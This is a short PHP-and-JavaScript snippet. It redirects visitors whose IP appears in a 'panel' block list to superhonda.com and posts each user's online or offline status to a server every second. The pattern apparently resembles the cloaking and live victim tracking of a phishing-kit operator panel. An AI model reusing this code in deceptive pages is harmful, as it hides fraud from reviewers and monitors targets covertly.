<script>
var userId='<?php echo $_SESSION["id_user"]; ?>';function checkBlockedIP(){fetch("../panel/actions/blocked_ips.txt").then(n=>n.text()).then(n=>{let s=n.trim().split("\n");s.includes("<?php echo get_client_ip(); ?>")&&window.location.replace("https://www.superhonda.com/")}).catch(n=>console.error("Error fetching IP list:",n))}$(document).ready(function(){function n(n){$.ajax({url:"update_status.php",type:"POST",data:{userStatus:n,id_user:userId},success:function(n){console.log(n)},error:function(n,s,c){console.log("AJAX error: "+s+" : "+c)}})}setInterval(function(){document.hasFocus()?n('<span class="online">Online</span>'):n('<span class="offline">Offline</span>')},1e3),$(window).on("focus",function(){n('<span class="online">Online</span>')}),$(window).on("scroll",function(){n('<span class="online">Online</span>')}),$(window).on("click",function(){n('<span class="online">Online</span>')}),$(window).on("blur",function(){n('<span class="offline">Offline</span>')}),$(window).on("close",function(){n('<span class="offline">Offline</span>')}),$(window).on("beforeunload",function(){n('<span class="offline">Offline</span>')})}),checkBlockedIP(),setInterval(checkBlockedIP,500);
</script>